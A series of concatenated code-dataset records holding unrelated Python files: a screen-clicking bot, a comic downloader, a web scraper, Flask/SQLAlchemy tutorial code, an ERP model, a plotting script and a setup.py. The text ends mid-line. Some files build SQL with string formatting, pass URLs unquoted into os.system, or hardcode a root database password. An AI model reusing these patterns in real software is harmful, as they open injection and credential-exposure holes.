},\n \"tojiru\": {\n \"pic\": \"tojiru.png\",\n \"func\": ckick,\n },\n}\n\nwhile True:\n locate = None\n for x in d.keys():\n locate = pg.locateCenterOnScreen(d[x][\"pic\"], confidence=0.90)\n if not locate is None:\n print(\">>> \", x, locate)\n handler(d[x][\"func\"], locate)\n break\n # return x, locate\n if locate is None:\n print(\"targets not found\")\n time.sleep(2)\n\n pg.moveTo(1, 1, duration=random.random()+0.1)\n","sub_path":"f_nite_auto.py","file_name":"f_nite_auto.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"471620965","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport re\nimport sys\nimport requests\n\nisPy2 = sys.version_info < (3, 0)\n\n\nclass ComicSite(object):\n encoding = \"utf-8\"\n header = {\n \"User-Agent\": \"Mozilla/5.0 Gecko/2010 Firefox/5\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"Accept-Language\": \"en-us,en;q=0.5\",\n \"Accept-Encoding\": \"deflate\",\n }\n root = os.path.expanduser(\"~\")\n os.chdir(root)\n\n def openTrackList(self):\n p = \"%s-tracklist.txt\" % self.path()\n if not os.path.exists(p):\n open(p, 'a').close()\n if sys.platform == 'darwin':\n os.system('open %s' % p)\n elif sys.platform == 'win32':\n os.system(p)\n\n def trackList(self):\n p = \"%s-tracklist.txt\" % self.path()\n if os.path.exists(p):\n return map(str.strip, open(p).readlines())\n else:\n return []\n\n def execJs(self, s):\n import subprocess\n import tempfile\n fd, path = tempfile.mkstemp(suffix='.js')\n f = os.fdopen(fd, 'w')\n if sys.platform == 'win32':\n s = s.replace('print', 'WScript.Echo')\n f.write(s)\n f.close()\n if sys.platform == 'darwin':\n jsc_cmd = (\"/System/Library/Frameworks/JavaScriptCore.framework/\"\n \"Versions/Current/Resources/jsc \" + path)\n ret = subprocess.check_output(jsc_cmd, shell=True).decode('utf-8')\n elif sys.platform == 'win32':\n ret = ''.join(os.popen(\"cscript %s\" % path).readlines()[3:]).strip()\n os.remove(path)\n return ret\n\n def path(self):\n return self.__class__.__name__\n\n def urlopen(self, url, opts=None):\n for i in range(10):\n try:\n headers = self.header.copy()\n if opts:\n headers.update(opts)\n r = requests.get(url, headers=headers, timeout=5)\n r.encoding = self.encoding\n return r.text\n except:\n import traceback\n print('??', i, url)\n print(traceback.format_exc())\n import time\n time.sleep(.5)\n pass\n\n def untag(self, s):\n return re.sub(\"<.*?>\", \"\", s)\n\n def chdir(self, p):\n if isPy2 and not type(p) == unicode:\n p = p.decode('utf-8')\n try:\n os.mkdir(p)\n os.chdir(p)\n return True\n except:\n os.chdir(p)\n return False\n\n def getPic(self, url, opts={}):\n if os.path.exists('/usr/local/bin/wget'):\n for x in range(3):\n if os.system(\n '/usr/local/bin/wget %s -c \"%s\"' % (\n ' '.join(map(lambda i: \"%s %s\" % i, opts.items())), url)) == 0:\n break\n else:\n headers = None\n if '--referer' in opts:\n headers = {'Referer': opts['--referer']}\n open(url.rsplit('/', 1)[-1].split('?', 1)[0], 'wb').write(self.urlopen(url, headers))\n\n def comicPath(self, i):\n return\n\n def toUrl(self, url):\n return\n\n def getCid(self, url):\n return\n\n def getTitle(self, page):\n return\n\n def getVolumnsUrl(self, url, page, skip=0):\n return\n\n def getVolumn(self, url, force=True):\n return\n\n def getAll(self, url, skip=0, force=True):\n self.chdir(self.path())\n url = self.toUrl(url)\n page = self.urlopen(url)\n volumns = self.getVolumnsUrl(url, page, skip)\n cid = self.getCid(url)\n title = self.getTitle(page)\n self.chdir(title)\n\n ch = []\n for urlparam in volumns:\n c = self.getVolumn(urlparam, force)\n if c:\n ch.append(c)\n\n os.chdir('../..')\n\n for c in ch:\n yield (title, cid, c)\n\n def notify(self, updateList):\n import pkgutil\n if not pkgutil.find_loader('pync'):\n return\n try:\n import pync\n t = ' '.join(['%s-%s' % (n[0].split()[0], n[2]) for n in updateList])\n cmd = 'open %s -a /Applications/Simple\\ Comic.app/' % ' '.join(\n map(self.comicPath, updateList)\n )\n if isPy2:\n t = t.encode('utf8')\n cmd = cmd.encode('utf8')\n pync.Notifier.notify(t, title=self.__class__.__name__, sound='ping', execute=cmd)\n except:\n import traceback\n traceback.print_exc()\n\n def getUpdate(self):\n updateList = [comic for i in self.trackList() for comic in self.getAll(i, -2, False)]\n if updateList:\n self.notify(updateList)\n\n\ndef main():\n import comic8\n import dm5\n comic8.comic8().getUpdate()\n dm5.dm5().getUpdate()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/pycomics/ComicSite.py","file_name":"ComicSite.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"575451424","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\n\nBASE_URL = \"https://www.ihbristol.com\"\nEXPRESSIONS_URL = \"https://www.ihbristol.com/useful-english-expressions\"\n\n\ndef buildData():\n blocks = []\n r = requests.get(EXPRESSIONS_URL)\n if r.status_code == 404 or r.text is None:\n print(\"\")\n raise Exception(f\"No content at {EXPRESSIONS_URL}\")\n\n html = BeautifulSoup(r.text, \"html.parser\")\n block_views = html.find_all(\"section\", \"block-views\")\n for block_view in block_views:\n level = block_view.find(\"h2\").text\n rows = block_view.find_all(\"h3\")\n for row in rows:\n header = row.find(\"a\").text\n existing_block_i = [\n i for i, b in enumerate(blocks) if b[\"header\"] == header\n ]\n\n if len(existing_block_i) > 0:\n index = existing_block_i[0]\n blocks[index][\"levels\"] = blocks[index][\"levels\"] + [level]\n continue\n\n href = f\"\"\"{BASE_URL}{row.find(\"a\")[\"href\"]}\"\"\"\n sub_page = requests.get(href)\n if sub_page.status_code == 404 or sub_page.text is None:\n print(\"\")\n raise Exception(f\"No content at sub page: {href}\")\n\n sub_html = BeautifulSoup(sub_page.text, \"html.parser\")\n sumary = sub_html.select_one(\"div[property='content:encoded'] > p\").text\n\n print(\"\")\n print(sumary)\n\n expressions = []\n expression_blocks = sub_html.select(\n \".node-useful-expressions > div:nth-child(2) > div:nth-child(1) li\"\n )\n for idx, expression_block in enumerate(expression_blocks):\n expressions.append(f\"\"\"{idx + 1}. {expression_block.text}\"\"\")\n\n howtouses = []\n howtouse_blocks = sub_html.select(\n \".node-useful-expressions > div:nth-child(2) > div:nth-child(2) li\"\n )\n for howtouse_block in howtouse_blocks:\n howtouses.append(howtouse_block.text)\n\n blocks.append(\n {\n \"levels\": [level],\n \"header\": header,\n \"sumary\": sumary,\n \"expressions\": expressions,\n \"howtouses\": howtouses,\n }\n )\n\n for block in blocks:\n search_level_st = f\"{' '.join(block['levels'])} {block['header']}\".lower()\n search_level_nd = f\"{block['sumary']}\".lower()\n search_level_rd = (\n f\"{' '.join(block['expressions'])} {' '.join(block['howtouses'])}\".lower()\n )\n block[\"search_level_st\"] = \" \".join(search_level_st.split())\n block[\"search_level_nd\"] = \" \".join(search_level_nd.split())\n block[\"search_level_rd\"] = \" \".join(search_level_rd.split())\n\n print(blocks)\n with open(\"../app/src/data.json\", \"w\") as f:\n json.dump(blocks, f)\n\n\ndef process():\n try:\n buildData()\n except Exception as e:\n print(\"Exception!!\")\n print(\"\")\n print(e)\n print(\"\")\n print(\"Build data failed!!\")\n\n\nprocess()","sub_path":"buildDataSource/build_data_source.py","file_name":"build_data_source.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590426399","text":"#While loop\n\n# a structure in python that allows us to loop through and execute a block of code multiple times \n\ni = 1 \nwhile i <= 10: \n print(i)\n i += 1\nprint(\"Done with loop\")\n\n\n#build a guessing game \n\nsecret_word = \"giraffe\"\nguess = \"\"\nguess_count = 0 \nguess_limit = 3 \nout_of_guesses = False\n\nwhile guess != secret_word and not(out_of_guesses):\n if guess_count < guess_limit:\n guess = input(\"Enter guess: \")\n guess_count += 1\n else:\n out_of_guesses = True\n\nif out_of_guesses: \n print(\"Out of Guesses, YOU LOSE!\")\nelse:\n print(\"YOU WIN\")\n\n\n","sub_path":"notes_and_examples/l_while_loop.py","file_name":"l_while_loop.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364929614","text":"from flask import Flask, render_template, request\nimport datetime, os, math\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_script import Manager\nfrom flask_migrate import Migrate, MigrateCommand\nfrom sqlalchemy import or_\n\napp = Flask(__name__)\n\n# 指定数据库的配置信息,连接到flaskDB的数据库上\napp.config['SQLALCHEMY_DATABASE_URI'] = \"mysql+pymysql://root:123456@127.0.0.1:3306/flaskDB\"\n# 指定信号追踪\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n# 指定启动模式为调试模式\napp.config['DEBUG'] = True\n\n# 指定增删改操作完成后自动提交\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True\n\n# 创建SQLAlchemy的示例 - db , 用于做数据库的操作\ndb = SQLAlchemy(app)\n\n# 创建Manager实例并指定要管理哪个app\nmanager = Manager(app)\n# 创建Migrate对象,并指定要关联的app和db\nmigrate = Migrate(app, db)\n# 为manager增加数据迁移的子命令\nmanager.add_command('db', MigrateCommand)\n\n\n# 创建实体类 - Users,映射到数据库中叫users表\n# 创建字段id,主键,自增\n# 创建字段username,长度为80的字符串,不允许为空,值唯一,加索引\n# 创建字段age,整数,允许为空\n# 创建字段email,长度为120的字符串,值唯一\nclass Users(db.Model):\n __tablename__ = \"users\"\n\n id = db.Column(\n db.Integer, primary_key=True\n )\n\n username = db.Column(\n db.String(80), # 长度为80\n nullable=False, # 不允许为空\n unique=True, # 值唯一\n index=True, # 增加索引\n )\n\n age = db.Column(\n db.Integer,\n nullable=True # 允许为空\n )\n\n email = db.Column(\n db.String(120),\n unique=True\n )\n\n # 增加一个字段 isActive ,默认值为True\n isActive = db.Column(db.Boolean, default=True)\n\n def __repr__(self):\n return \"\" % self.username\n\n\n# 创建Student实体类\nclass Student(db.Model):\n __tablename__ = \"student\"\n id = db.Column(db.Integer, primary_key=True)\n sname = db.Column(db.String(30), nullable=False)\n sage = db.Column(db.Integer, nullable=False)\n isActive = db.Column(db.Boolean, default=True)\n\n\n# 创建Teacher实体类\nclass Teacher(db.Model):\n __tablename__ = \"teacher\"\n id = db.Column(db.Integer, primary_key=True)\n tname = db.Column(db.String(30), nullable=False)\n tage = db.Column(db.Integer, nullable=True)\n\n\n# 创建Course实体类\nclass Course(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n cname = db.Column(db.String(30), nullable=False)\n\n\n# db.drop_all()\n# 作用:删除所有的表结构\n# db.drop_all()\n\n\n# db.create_all()\n# 作用:将所有的实体类生成对应的数据表\n# 前提:对应的表不存在的前提下才能生成\n# db.create_all()\n\ndef generate_timestr():\n \"\"\"\n 根据当前的系统日期时间拼时间字符串\n :return: 年月日时分秒微妙 所组成的字符串\n \"\"\"\n s = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n return s\n\n\ndef getext(filename):\n \"\"\"\n 根据传递过来的文件名称,返回对应的文件扩展名\n :param filename: 传递进来的文件名称\n :return: 文件的扩展名\n \"\"\"\n ext = filename.split('.')[-1]\n return ext\n\n\n@app.route('/01-file', methods=['GET', 'POST'])\ndef file_views():\n if request.method == 'GET':\n return render_template('01-file.html')\n else:\n uname = request.form['uname']\n if request.files:\n f = request.files['uimg']\n # 直接使用源文件名进行上传\n # f.save('static/'+f.filename)\n\n # 使用时间作为文件名 : 时间.扩展名\n\n # 获取系统时间\n ftime = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n # 获取文件扩展名\n ext = f.filename.split('.')[-1]\n # 将 ftime.ext拼接到一起\n filename = ftime + '.' + ext\n # 将文件保存在相对路径的static中\n # f.save('static/'+filename)\n\n # 通过当前文件的地址找到static的地址(绝对路径)\n basedir = os.path.dirname(__file__)\n # 拼完整的保存路径\n upload_path = os.path.join(basedir, 'static', filename)\n f.save(upload_path)\n return \"数据处理成功\"\n\n\n@app.route('/02-release', methods=['GET', 'POST'])\ndef release():\n if request.method == 'GET':\n return render_template('02-release.html')\n else:\n title = request.form['title']\n type = request.form['type']\n content = request.form['content']\n print(\"标题:%s,类型:%s,内容:%s\" % (title, type, content))\n\n if request.files:\n file = request.files['pic']\n ftime = generate_timestr()\n ext = getext(file.filename)\n filename = ftime + '.' + ext\n base_dir = os.path.dirname(__file__)\n upload_path = os.path.join(base_dir, 'static/upload', filename)\n file.save(upload_path)\n print(\"上传路径:\" + upload_path)\n return \"发表博客成功\"\n\n\n@app.route('/03-add')\ndef add_views():\n user = Users()\n user.username = '老魏'\n user.age = 30\n user.email = \"laowei@163.com\"\n\n db.session.add(user)\n # db.session.commit()\n return \"增加数据成功\"\n\n\n@app.route('/04-register', methods=['GET', 'POST'])\ndef register():\n if request.method == 'GET':\n return render_template('04-register.html')\n else:\n # 接收前端数据\n username = request.form['username']\n age = request.form['age']\n email = request.form['email']\n isActive = False\n if 'isActive' in request.form:\n isActive = True\n # 创建Users对象,并赋值\n user = Users()\n user.username = username\n user.email = email\n user.age = age\n user.isActive = isActive\n\n # 将Users对象保存回数据库\n db.session.add(user)\n return \"增加数据成功\"\n\n\n@app.route('/05-query')\ndef query_views():\n # 1. 测试 db.session.query() 方法\n # query = db.session.query(Users)\n # print(query)\n # print(\"type:\", type(query))\n\n # 2.查询 users 表中所有的数据\n # users = db.session.query(Users).all()\n # for user in users:\n # # user 表示每一个 Users 类型的对象\n # print(\"id:%s,姓名:%s,年龄:%s,邮箱:%s,激活:%s\" % (user.id,user.username,user.age,user.email,user.isActive))\n\n # 3.查询 users 表中的第一条数据并打印输出\n user = db.session.query(Users).first()\n print(\"id:%s,姓名:%s,年龄:%s,邮箱:%s,激活:%s\" % (user.id, user.username, user.age, user.email, user.isActive))\n # 4.查询 users 表中共有多少条数据\n count = db.session.query(Users).count()\n print(\"users表中共有%d条数据\" % count)\n\n return \"查询成功\"\n\n\n@app.route('/06-filter')\ndef filter_views():\n # 1. 测试filter方法的使用和返回值\n # 1. 查询Users实体中age大于30岁的users的信息\n # result = db.session.query(Users).filter(Users.age>30)\n # print(result)\n # print(\"type:\",type(result))\n\n # 2.查询email中包含ao的users的信息\n # users = db.session.query(Users).filter(\n # Users.email.like(\"%ao%\")\n # ).all()\n # print(users)\n\n # 3.通过 filter_by 查询年龄=30的users的信息\n users = db.session.query(Users).filter_by(age=30).all()\n print(users)\n return \"执行查询成功\"\n\n\n@app.route('/07-query', methods=['GET', 'POST'])\ndef query07_views():\n if request.method == 'GET':\n users = db.session.query(Users).all()\n return render_template('07-query.html', users=users)\n else:\n kw = request.form['kw']\n users = db.session.query(Users).filter(\n or_(\n Users.username.like('%' + kw + '%'),\n Users.email.like('%' + kw + '%')\n )\n ).all()\n return render_template('07-query.html', users=users, kw=kw)\n\n\n@app.route('/08-page')\ndef page_views():\n # 1.每页显示的记录数 - pageSize\n pageSize = 2\n # 2.当前想看的页数 - page\n # 接收前端传递过来的参数 - page ,如果没传递参数的则默认为1\n page = int(request.args.get('page',1))\n\n # 查询第page页的数据\n # 跳过(page-1)*pageSize条数据,再获取前pageSize条\n # ost:通过page以及pageSize计算出来要跳过的记录数\n ost = (page - 1) * pageSize\n\n # 通过pageSize 和 ost 查询对应的数据\n users = db.session.query(Users).limit(pageSize).offset(ost).all()\n\n # 计算尾页页码\n # 通过 pageSize 和 总记录数 计算尾页页码\n totalCount = db.session.query(Users).count()\n lastPage = math.ceil(totalCount / pageSize)\n\n # 计算上一页页码\n # 如果page大于1的话,上一页则为page-1,否则上一页为1,将结果保存在 prevPage\n prevPage = 1\n if page > 1:\n prevPage = page - 1\n\n # 计算下一页页码\n # 如果page 小于 lastPage 的话,下一页则为page+1,否则下一页就是lastPage,将结果保存在nextPage\n nextPage = lastPage\n if page < lastPage:\n nextPage = page + 1\n\n return render_template('08-page.html', users=users, prevPage=prevPage, nextPage=nextPage, lastPage=lastPage)\n\n\nif __name__ == \"__main__\":\n # app.run(debug=True)\n manager.run()\n","sub_path":"NOTE/12_Flask/day06/FlaskDemo04/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617023131","text":"# !/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\nERP+\n\"\"\"\n__author__ = 'António Anacleto'\n__credits__ = []\n__version__ = \"1.0\"\n__maintainer__ = \"António Anacleto\"\n__status__ = \"Development\"\n__model_name__ = 'xml_anexo_reg_fornecedor_m106.XMLAnexoRegFornecedorM106'\nimport auth, base_models\nfrom orm import *\nfrom form import *\n\n\nclass XMLAnexoRegFornecedorM106(Model, View):\n def __init__(self, **kargs):\n #depois por aqui entre datas e só de um diario ou periodo, etc, etc.\n Model.__init__(self, **kargs)\n self.__name__ = 'xml_anexo_reg_fornecedor_m106'\n self.__title__ = 'Anexos Reg. Fornecedores - MOD 106'\n self.__model_name__ = __model_name__\n self.__list_edit_mode__ = 'edit'\n self.__get_options__ = ['nome']\n\n \n self.__workflow_auth__ = {\n 'Visualizar':['All'],\n 'Gerar':['All'],\n 'Rascunho':['All'],\n 'Confirmar':['All'],\n 'full_access':['All']\n } \n\n self.__auth__ = {\n 'read':['All'],\n 'write':['All'],\n 'create':['All'],\n 'delete':['All'],\n 'full_access':['All']\n }\n\n \n self.nome = string_field(view_order = 1, name = 'Nome do documento', size = 60, args = 'readonly')\n\n self.xml_modelo_106 = parent_field(view_order = 2, name = 'Modelo 106', hidden=True, model_name = 'xml_modelo_106.XMLModelo106',nolabel=True, onlist = False) \n\n self.nif_entidade = string_field(view_order=4, name='Nif', size=45, args = 'readonly')\n\n self.ano = string_field(view_order = 5, name ='Ano', size=45, args = 'readonly')\n\n self.mes = string_field(view_order = 6, name ='Mês', size=45, args = 'readonly')\n\n self.area_fiscal = string_field(view_order = 7, name = 'Área Fiscal', size = 50, args = 'readonly')\n\n # linhas do anexo\n self.xml_linha_anexo_reg_fornecedor_m106 = list_field(view_order = 8, name = 'Linhas', condition = \"xml_anexo_reg_fornecedor_m106='{id}'\", model_name = 'xml_linha_anexo_reg_fornecedor_m106.LinhaAnexoRegFornecedor', list_edit_mode = 'inline', onlist = False)\n \n self.data_entrega = string_field(view_order=9, name ='Data Entrega', args = 'readonly')\n \n self.total_factura = string_field(view_order = 10, name = 'Total Facturas', size = 45,args = 'readonly')\n \n self.total_base_incidencia = string_field(view_order = 11, name = 'Total Incidência', size = 45, args = 'readonly')\n\n self.total_suportado = string_field(view_order = 12, name = 'Total Suportado', size = 45, args = 'readonly') \n\n self.total_dedutivel = string_field(view_order = 13, name = 'Total Dedutivel', size = 45, args = 'readonly')\n\n self.estado = info_field(view_order = 14, name ='Estado', default='Rascunho', args = 'readonly')\n\n self.xml_gerado = text_field(view_order = 15,name='Conteudo XML Gerado', size=100, args='readonly', onlist=False)","sub_path":"core/objs/xml_anexo_reg_fornecedor_m106.py","file_name":"xml_anexo_reg_fornecedor_m106.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"630715893","text":"import numpy as np\n\ndata=np.loadtxt(\"RoeEntrFix_cfl0.1.dat\")\nroe1_entrfix_xc_arr=data[:,0]\nroe1_entrfix_rho_arr=data[:,1]\nroe1_entrfix_u_arr=data[:,2]\nroe1_entrfix_p_arr=data[:,3]\n\ndata=np.loadtxt(\"AUSM_cfl0.1.dat\")\nausm1_xc_arr=data[:,0]\nausm1_rho_arr=data[:,1]\nausm1_u_arr=data[:,2]\nausm1_p_arr=data[:,3]\n\nimport matplotlib.pyplot as plt\nplt.style.use('sjc')\n\nroe1_noentrfix_label=\"Roe,NoEntropyFix,CFL=0.1\"\nroe3_noentrfix_label=\"Roe,NoEntropyFix,CFL=0.3\"\nroe9_noentrfix_label=\"Roe,NoEntropyFix,CFL=0.9\"\nroe1_entrfix_label=\"Roe,EntropyFix,CFL=0.1\"\nroe3_entrfix_label=\"Roe,EntropyFix,CFL=0.3\"\nroe9_entrfix_label=\"Roe,EntropyFix,CFL=0.9\"\nausm1_label=\"AUSM,CFL=0.1\"\nausm3_label=\"AUSM,CFL=0.3\"\n\nds_step=4\nds_longshort_1=[ds_step*2,ds_step,ds_step*4,ds_step]\nds_step=2\nds_longshort_2=[ds_step*2,ds_step,ds_step*4,ds_step]\nds_step=4\nds_shortlong_1=[ds_step,ds_step*2,ds_step,ds_step*2]\nds_step=2\nds_shortlong_2=[ds_step,ds_step*2,ds_step,ds_step*2]\n\nxlim=[-1.0,1.0]\nylim=[-0.05,1.0]\n\n# Compare AUSM against Roe-EntropyFix\nfig=plt.figure()\nax=fig.gca()\nax.plot(ausm1_xc_arr,ausm1_rho_arr,'-',label=ausm1_label)\nax.plot(roe1_entrfix_xc_arr,roe1_entrfix_rho_arr,':',label=roe1_entrfix_label)\nax.set_xlabel(\"X\")\nax.set_ylabel(r\"$\\rho$\")\nax.legend()\nax.set_xlim(xlim)\nax.set_ylim(ylim)\nplt.savefig(\"AUSMRoe_rho.png\")\n\nfig=plt.figure()\nax=fig.gca()\nax.plot(ausm1_xc_arr,ausm1_u_arr,'-',label=ausm1_label)\nax.plot(roe1_entrfix_xc_arr,roe1_entrfix_u_arr,':',label=roe1_entrfix_label)\nax.set_xlabel(\"X\")\nax.set_ylabel(\"u\")\nax.legend()\nax.set_xlim(xlim)\nax.set_ylim(ylim)\nplt.savefig(\"AUSMRoe_u.png\")\n\nfig=plt.figure()\nax=fig.gca()\nax.plot(ausm1_xc_arr,ausm1_p_arr,'-',label=ausm1_label)\nax.plot(roe1_entrfix_xc_arr,roe1_entrfix_p_arr,':',label=roe1_entrfix_label)\nax.set_xlabel(\"X\")\nax.set_ylabel(\"p\")\nax.legend()\nax.set_xlim(xlim)\nax.set_ylim(ylim)\nplt.savefig(\"AUSMRoe_p.png\")\n\n","sub_path":"cmp_results.py","file_name":"cmp_results.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611902565","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as f:\n long_description = f.read()\n\nsetuptools.setup(\n name=\"redditmirror\",\n version=\"1.0.0\",\n author=\"Sam McCreery\",\n author_email=\"4602020+mccreery@users.noreply.github.com\",\n description=\"Takes posts from your Reddit saved tab and x-posts them to a subreddit of your choice.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n license=\"MIT\",\n url=\"https://github.com/mccreery/reddit-mirror\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: MIT License\"\n ],\n install_requires=\"praw>=6.0\"\n)\n","sub_path":"pypi_install_script/redditmirror-1.0.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"455800714","text":"import pymysql\nfrom config import db_config,args_curl,args_ping,users\nfrom flask_login import UserMixin\nfrom . import db,login_manager\n\n\nclass User(UserMixin,db.Model):\n __tablename__ = 'users'\n user_id = db.Column(db.Integer,primary_key=True)\n user_name = db.Column(db.String(64),unique=True,index=True)\n user_passwd = db.Column(db.String(256),index=True)\n user_admin = db.Column(db.Integer)\n @property\n def id(self):\n return self.user_id\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(int(user_id))\n\n\ndef data_query(tables):\n con = pymysql.connect(**db_config)\n cursor = con.cursor()\n if tables == \"users\":\n try:\n sql = \"\"\"select * from users\"\"\"\n cursor.execute(sql)\n except:\n print(\"There is no table named users\")\n con.rollback()\n row_users = cursor.fetchall()\n user_list=list()\n for i in range(len(row_users)):\n user_dict = dict()\n for j in range(len(users)):\n user_dict[users[j]]=row_users[i][j]\n user_list.append(user_dict)\n return user_list\n elif tables == \"args_ping\":\n try:\n sql = \"\"\"select * from args_ping\"\"\"\n cursor.execute(sql)\n except:\n print(\"There is no table named args_ping\")\n con.rollback()\n row_ping = cursor.fetchall()\n # con.close()\n ping_list = list()\n for i in range(len(row_ping)):\n ping_dict = dict()\n for j in range(len(args_ping)):\n if j==0:\n continue\n ping_dict[args_ping[j]] = row_ping[i][j]\n ping_list.append(ping_dict)\n return ping_list\n\n elif tables == \"args_curl\":\n try:\n sql = \"\"\"select * from args_curl \"\"\"\n cursor.execute(sql)\n except:\n print(\"There is no table named args_curl\")\n con.rollback()\n row_curl = cursor.fetchall()\n # con.close()\n curl_list = []\n for i in range(len(row_curl)):\n curl_dict = {}\n for j in range(len(args_curl)):\n curl_dict[args_curl[j]] = row_curl[i][j]\n curl_list.append(curl_dict)\n return curl_list\n\n\ndef insert_tables(tables,*kwargs):\n con = pymysql.connect(**db_config)\n cursor = con.cursor()\n print (tables)\n if tables == \"args_curl\":\n try:\n sql = \"INSERT INTO args_curl VALUES ('%d','%d','%s','%d')\" % (kwargs[0],kwargs[1],kwargs[2],kwargs[3])\n cursor.execute(sql)\n con.commit()\n except:\n con.rollback()\n elif tables == \"args_ping\":\n try:\n sql = \"\"\"INSERT INTO args_ping VALUES(\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\")\"\"\" % (kwargs[0],kwargs[1],kwargs[2],kwargs[3],kwargs[4],kwargs[5])\n cursor.execute(sql)\n con.commit()\n except:\n con.rollback()\n\n\n\n\n\n\n","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45086285","text":"from PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtCore as qtc\n\nimport arrowArc\nimport misc\n\n# base class for data storage object for sequence feature\n\nclass Feature(qtw.QGraphicsPathItem):\n\t'''Base abstract class for storing features and all related items including\n\tQTreeWidgetItem, QGraphicsPathItem, and others.'''\n\n\t# class level storage container and variables\n\tall_features = []\n\tradius = 200\n\n\tdef __init__(self,feature,track,gb,label=False):\n\t\tsuper().__init__()\n\n\t\tstart = -(feature.location.start.position + 1) / len(gb) * 360\n\t\tend = -feature.location.end.position / len(gb) * 360\n\t\tif feature.strand == 1:\n\t\t\tnewCustomPath = arrowArc.arrowArc(self.radius,self.radius,\n\t\t\t\t\tself.radius,track,.1,start,end,label=label)\n\t\telif feature.strand == -1:\n\t\t\tnewCustomPath = arrowArc.arrowArc(self.radius,self.radius,\n\t\t\t\t\tself.radius,track,.1,end,start,label=label)\n\n\t\tself.args = newCustomPath.__init__.args\n\t\tself.setPath(newCustomPath)\n\n\tdef createTreeItem(self,feature):\n\t\tpass\n\n\tdef createTreeLabel(self,feature):\n\t\tpass\n\n\tdef createGraphicsItem(self,feature):\n\t\t'''Creates QTreeWidgetItem, inserts into docWindow.treeNodes. Input is\n\t\tSeqFeature object.'''\n\n\t\tdef create(feature,track=0,gb=None,label=False):\n\t\t\t'''Helper function for abstraction.'''\n\t\t\tstart = -(feature.location.start.position + 1) / len(gb) * 360\n\t\t\tend = -feature.location.end.position / len(gb) * 360\n\t\t\tif feature.strand == 1:\n\t\t\t\tnewCustomPath = arrowArc.arrowArc(self.radius,self.radius,\n\t\t\t\t\t\tself.radius,track,.1,start,end,label=label)\n\t\t\telif feature.strand == -1:\n\t\t\t\tnewCustomPath = arrowArc.arrowArc(self.radius,self.radius,\n\t\t\t\t\t\tself.radius,track,.1,end,start,label=label)\n\t\t\t#print('init args: {}'.format(newCustomPath.__init__.args))\n\t\t\tnewItem = qtw.QGraphicsPathItem()\n\t\t\tnewItem.args = newCustomPath.__init__.args\n\t\t\tnewItem.setPath(newCustomPath)\n\t\t\treturn(newItem)\n\n\t\t@misc.debug\n\t\tdef getColliders(graphicsItem):\n\t\t\t'''Input variable is QGraphicsPathItem.'''\n\t\t\tassert isinstance(graphicsItem,qtw.QGraphicsItem)\n\t\t\tcolliders = graphicsItem.collidingItems()\n\t\t\treturn(colliders)\n\n\t\tdef arrange(objs):\n\t\t\t'''Input is list of QPainterPaths'''\n\t\t\t\n\n\t\tnew = create(feature,0,self.doc_window.gb)\n\t\tprint('new: {}'.format(new))\n\t\tself.doc_window.scene.addItem(new)\n\t\tcolliders = getColliders(new)\n\t\tprint('colliders: {}'.format(colliders))\n\t\tfeat_objects = [x for x in self.all_features if x.graphics_path\n\t\t\t\t\tin colliders]\n\t\tprint('list: {}'.format(feat_objects))\n\t\tfeat_objects.append(new)\n\t\t#feat_objects.sort(key = lambda s:len(s.seq_feature),reverse=True)\n\n\t\tif len(colliders) != 0:\n\t\t\tarrange(feat_objects)\n\n\t\treturn(new)\n","sub_path":"Feature.py","file_name":"Feature.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"136593666","text":"import datetime\nimport tushare as ts\nimport pymysql\nimport baostock as bs\nimport pandas as pd\nimport time\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec#分割子图\nimport numpy as np\nfrom scipy import signal #滤波等\nimport matplotlib.dates as mdates #處理日期\nimport mpl_finance as mpf\nimport talib\nfrom matplotlib.pylab import date2num\nimport matplotlib.ticker as ticker\nfrom sympy import *\nimport os\nfrom strategy import *\nfrom myOperator2 import *\n\ndef myRead_csv(_code):\n code=_code\n filename3='G:\\\\stockData\\\\myData\\\\'+code\n try:\n df = 